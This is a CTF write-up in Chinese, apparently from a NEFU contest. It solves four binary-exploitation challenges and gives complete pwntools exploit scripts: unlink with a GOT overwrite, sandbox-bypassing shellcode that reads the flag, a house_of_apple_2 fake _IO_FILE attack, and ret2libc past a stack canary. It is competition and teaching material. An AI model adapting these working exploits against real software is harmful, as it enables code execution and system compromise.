1.off_one

很普通的unlink.漏洞点在edit函数里.

```
__int64 sub_40094C()
{
  __int64 result; // rax
  int v1; // [rsp+8h] [rbp-18h]
  int v2; // [rsp+Ch] [rbp-14h]

  puts("please input the idx");
  v1 = sub_4008A7();
  puts("please input the size");
  v2 = sub_4008A7();
  *(&buf + 2 * v1) = malloc(v2);
  result = 2 * v1 + 1;
  *(&buf + result) = (void *)v2;
  return result;
}

ssize_t sub_400A82()
{
  int v1; // [rsp+8h] [rbp-8h]
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  puts("please input the idx");
  v1 = sub_4008A7();
  v2 = (unsigned int)*(&buf + 2 * v1 + 1);
  puts("please input the content");
  return read(0, *(&buf + 2 * v1), v2 + 8);
}
```

如上,edit允许读入的字符数比size多了一个

通过unlink覆写chunk指针,再将fake_chunk转移到got表,选择合适的函数(这里选了atoi)覆写为system即可.

```
from pwn import *

def add_(index,size):
    r.recvuntil(b"please input your choice:")
    r.sendline(b"1")
    r.recvuntil(b"please input the idx")
    r.sendline(str(index))
    r.recvuntil(b"please input the size")
    r.sendline(str(size))
    return
def del_(index):
    r.recvuntil(b"please input your choice:")
    r.sendline(b"2")
    r.recvuntil(b"please input the idx")
    r.sendline(str(index))
    return
```

```python
def show_(index):
    r.recvuntil(b"please input your choice:")
    r.sendline(b"3")
    r.recvuntil(b"please input the idx")
    r.sendline(str(index))
    return
def edit_(index,pay):
    r.recvuntil(b"please input your choice:")
    r.sendline(b"4")
    r.recvuntil(b"please input the idx")
    r.sendline(str(index))
    r.recvuntil(b"please input the content")
    r.send(pay)
    return


#r=process("./pwn")
r=remote("contest.ctf.nefu.edu.cn",33050)
pause()

add_(3,0x80)
add_(4,0x80)
add_(5,0x80)
add_(6,0x80)
add_(7,0x80)
add_(8,0x80)
add_(9,0x80)
add_(10,0x80)
add_(11,0x80)

add_(0,0x48)
add_(1,0x80)
add_(2,0x80)
heap_add=0x6020E0
pay1=p64(0)+p64(0x41)+p64(heap_add-0x18)+p64(heap_add-
0x10)+b'a'*0x20+p64(0x40)+b"\x90"
edit_(0,pay1)


del_(3)
del_(4)
del_(5)
del_(6)
del_(7)
del_(8)
del_(9)
del_(10)

del_(1)
pay=p64(0)*3+p64(0x602058)
edit_(0,pay)
show_(0)
libc_base=u64(r.recvuntil(b"\x7f")[1:].ljust(8,b"\x00"))-0x40670
print(hex(libc_base))
libc=ELF("./libc-2.27.so")
sys_add=libc.sym[b"system"]+libc_base
```

```
edit_(0,p64(sys_add))
r.sendline("/bin/sh\x00")
r.interactive()
```

2.ashellcode

有沙箱,禁用了open,execve和execveat.

```
__int64 vuln()
{
  int v1; // [rsp+4h] [rbp-Ch]

  puts("Welcome to the shellcode challenge!");
  puts("Input your name:");
  v1 = read(0, buf, 0xCuLL);
  buf[v1] = 0;
  puts("Input your shellcode:");
  read(0, &unk_402A, 2uLL);
  puts("Wish you good luck");
  write(1, buf, v1);
  return ((__int64 (*)(void))&buf[10])();
}
```

程序读入0xc字节,在读入字节的最后写为0x0,再从0xa字节开始读入两字节,最后ret到0x10字节处开始执行.

编写shellcode调用read,读入更多的字节构造orw.

脚本如下:

```
from pwn import *
context.arch='amd64'

#r=process("./pwn")
#gdb.attach(r)
r=remote("contest.ctf.nefu.edu.cn",33072)
pause()
r.recvuntil("Input your name:")
payload1 = asm('''
    xor edi, edi
    xor edx, edx
    mov dl, 0xff
    xor eax ,eax
    syscall
''').ljust(12,b"\x00")


r.send(payload1)
r.recvuntil("Input your shellcode:")
r.send(b"\xEB\xF4")#跳转到-0xa的地方(deepseek是这么说的)

pay2=asm('''
    nop
    nop
    nop
```

```
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    push 0x67616c66
    mov rsi,rsp
    xor rdx,rdx
    mov rdi,0xffffff9c
    push 257
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
''')
pause()
r.send(pay2)
r.interactive()
```

3.aheap

从这题开始高强度丢人...审了半天代码没看到exit,和空气斗智斗勇了半天.

好在我在淘汰赛之前看完了house_of_apple,(虽然还没实操过)花了点时间(以及有人帮我指出了这题是有exit的)也是把这题做出来了.

言归正传,漏洞点在edit,没有根据chunk的实际大小决定read的范围.通过覆盖掉tcache_chunk的presize和size位可以泄露heap,一直覆盖到unsorted_chunk的fd可以泄露libc基址.

再加上chunk指针也存放在堆中,可以把chunk指针覆写为_IO_list_all的地址,再将它覆写为堆地址,并在对应的堆中伪造_IO_FILE.再通过add或edit功能函数内的exit(0)完成house_of_apple_2的攻击.

```
from pwn import *

#context.log_level='debug'
context.arch='amd64'

#r=process("./pwn")
#gdb.attach(r)
r=remote("contest.ctf.nefu.edu.cn",33059)
pause()

def add_s(index,size,content):
    r.recvuntil(b"> ")
    r.sendline(b"1")
    r.recvuntil(b"Enter student ID (0-12): ")
```

```
    r.sendline(str(index))
    r.recvuntil(b"Enter info size: ")
    r.sendline(str(size))
    r.recvuntil(b"Enter student info: ")
    r.send(content)

def edi_s(index,size,content):
    r.recvuntil(b"> ")
    r.sendline(b"3")
    r.recvuntil(b"Enter student ID to edit: ")
    r.sendline(str(index))
    r.recvuntil(b"Enter info size to edit: ")
    r.sendline(str(size))
    r.recvuntil(b"Enter new student info: ")
    r.send(content)

def del_s(index):
    r.recvuntil(b"> ")
    r.sendline(b"2")
    r.recvuntil(b"Enter student ID to remove: ")
    r.sendline(str(index))

def show_s(index):
    r.recvuntil(b"> ")
    r.sendline(b"4")
    r.recvuntil(b"Enter student ID to show: ")
    r.sendline(str(index))


add_s(0,0x20,b'a')
add_s(1,0x600,b'a')
add_s(2,0x20,b'a')

del_s(1)


edi_s(0,0x30,b'a'*0x30)
show_s(0)
r.recvuntil(b'a'*0x30)
heap_base=u64((r.recvuntil(b"1. ")[:-4]).ljust(8,b"\x00"))*0x1000
print(hex(heap_base))
edi_s(0,0x38,b'a'*0x38)
show_s(0)
r.recvuntil(b'a'*0x38)

key=(r.recvuntil(b"1. ")[:-4]).ljust(8,b"\x00")
print(key)
edi_s(0,0x50,b'a'*0x50)
show_s(0)
r.recvuntil(b'a'*0x50)
libc_base=u64((r.recvuntil(b"1. ")[:-4]).ljust(8,b"\x00"))-0x21ACE0
print(hex(libc_base))
libc=ELF("./libc.so.6")
print(hex(libc_base+libc.sym["_IO_list_all"]-0x10))

edi_s(0,0x50,b'a'*0x20+p64(0)+p64(0x21)+p64(heap_base)+key+p64(0)+p64(0x611))
```

```
add_s(1,0x600,b'a')

edi_s(0,0x40,b'a'*0x20+p64(0)+p64(0x21)+p64(libc_base+libc.sym["_IO_list_all"])+p
64(0))

edi_s(1,0x8,p64(heap_base+0x310))

edi_s(0,0x40,b'a'*0x20+p64(0)+p64(0x21)+p64(heap_base+0x310)+p64(0))
_IO_stdfile_2_lock=libc_base+0x21ca60
system=libc.sym["system"]+libc_base
file_addr=heap_base+0x310
IO_wide_data_addr=file_addr
wide_vtable_addr=file_addr+0xe8-0x68
fake_io = b""
fake_io += p64(0)  # _IO_read_end
fake_io += p64(0)  # _IO_read_base
fake_io += p64(0)  # _IO_write_base
fake_io += p64(1)  # _IO_write_ptr
fake_io += p64(0)  # _IO_write_end
fake_io += p64(0)  # _IO_buf_base;
fake_io += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_io += p64(0)   # _IO_save_base
fake_io += p64(0)*3   # from _IO_backup_base to _markers
fake_io += p64(0)  # the FILE chain ptr
fake_io += p32(2)  # _fileno for stderr is 2
fake_io += p32(0)  # _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_io += p16(0)  # _cur_column
fake_io += b"\x00"  # _vtable_offset
fake_io += b"\n"  # _shortbuf[1]
fake_io += p32(0)  # padding
fake_io += p64(_IO_stdfile_2_lock)  # _IO_stdfile_1_lock
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_io += p64(0)  # _codecvt, usually 0
fake_io += p64(IO_wide_data_addr)  # _IO_wide_data_1
fake_io += p64(0) * 3  # from _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF)  # _mode, usually -1
fake_io += b"\x00" * 19  # _unused2
fake_io = fake_io.ljust(0xc8, b'\x00')  # adjust to vtable
fake_io += p64(libc_base+libc.sym['_IO_wfile_jumps'])  # _IO_list_all fake vtable
fake_io += p64(wide_vtable_addr)
fake_io += p64(system)
fake_io = b"  sh"+b"\x00"*4+p64(40)+fake_io

edi_s(1,0x600,fake_io)
pause()
r.sendline(b"1")
pause()
r.sendline(b"10")
pause()
r.sendline(b"10000000")
pause()
#add_s(0,0x700,b'a')
```

```
r.interactive()
```

4.c++

题目本身挺简单的.edit和show功能的边界条件判断有误,可以一直读写到ret地址后面.

```
unsigned __int64 __fastcall edit(__int64 a1, int a2)
{
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  int v6; // [rsp+1Ch] [rbp-14h] BYREF
  __int64 v7; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  if ( a2 )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, &unk_20C8);
    std::istream::operator>>(&std::cin, &v6);
    if ( v6 >= 0 && a2 + 9 >= v6 )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, &unk_212D);
      std::istream::operator>>(&std::cin, &v7);
      *(_QWORD *)(a1 + 8LL * v6) = v7;
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_2146);
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    }
    else
    {
      v3 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_2108);
      std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_2098);
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  }
  return v8 - __readfsqword(0x28u);
}
```

如上,`int a2`是数组目前有数据的最大下标,但在判断时使用了a2 + 9 >= v6而非&a2+9>v6.导致出现越界.

这题的环境给我的调试带来了不少麻烦...用惯了docker提供的和线上几乎一样的环境,导致这题的调试给我带来了很大的困扰.也因为这个没有注意到`call system`时0x10对齐的问题(之前我就犯过这样的错误,但很显然我对它的记忆还不够深刻),一直以为是线上下环境不同导致没法getshell...

不过题目本身不算难.绕开canary打ret2libc即可.

```
from pwn import *

#r=process("./pwn")
```

```
r=remote("contest.ctf.nefu.edu.cn",33073)
#context.log_level='debug'
context.arch='amd64'
#gdb.attach(r)
pause()
r.recvuntil(b"\xbc\x9a")
r.sendline(b"1")

r.sendline(b"1")
r.sendline(b"2")
r.sendline(b"3")
r.sendline(b"4")
r.sendline(b"5")
r.sendline(b"6")
r.sendline(b"7")
r.sendline(b"8")
r.sendline(b"9")
r.sendline(b"10")
r.sendline(b"-1")

r.recvuntil(b"\xbc\x9a")
r.sendline(b"4")
r.recvuntil(b"\xbc\x9a")
r.sendline(b"13")

r.recvuntil(b"13")
r.recvuntil(b"\xbc\x9a")
libc_base=int(r.recvuntil(b"=")[:-1])-0x21C87
print(hex(libc_base))
libc=ELF("./libc-2.27.so")
rdi_add=0x2164f+libc_base
binsh_add=next(libc.search(b"/bin/sh"))+libc_base
sys_add=libc.sym["system"]+libc_base
ret_add=0x8aa+libc_base
r.recvuntil(b"\xbc\x9a")
r.sendline(b"2")
r.recvuntil(b"\xbc\x9a")
r.sendline(b"13")
r.recvuntil(b"\xbc\x9a")
r.sendline(str(ret_add))

r.recvuntil(b"\xbc\x9a")
r.sendline(b"2")
r.recvuntil(b"\xbc\x9a")
r.sendline(b"14")
r.recvuntil(b"\xbc\x9a")
r.sendline(str(rdi_add))


r.recvuntil(b"\xbc\x9a")
r.sendline(b"2")
r.recvuntil(b"\xbc\x9a")
r.sendline(b"15")
r.recvuntil(b"\xbc\x9a")
r.sendline(str(binsh_add))
```

```
r.recvuntil(b"\xbc\x9a")
r.sendline(b"2")
r.recvuntil(b"\xbc\x9a")
r.sendline(b"16")
r.recvuntil(b"\xbc\x9a")
r.sendline(str(sys_add))

r.interactive()
```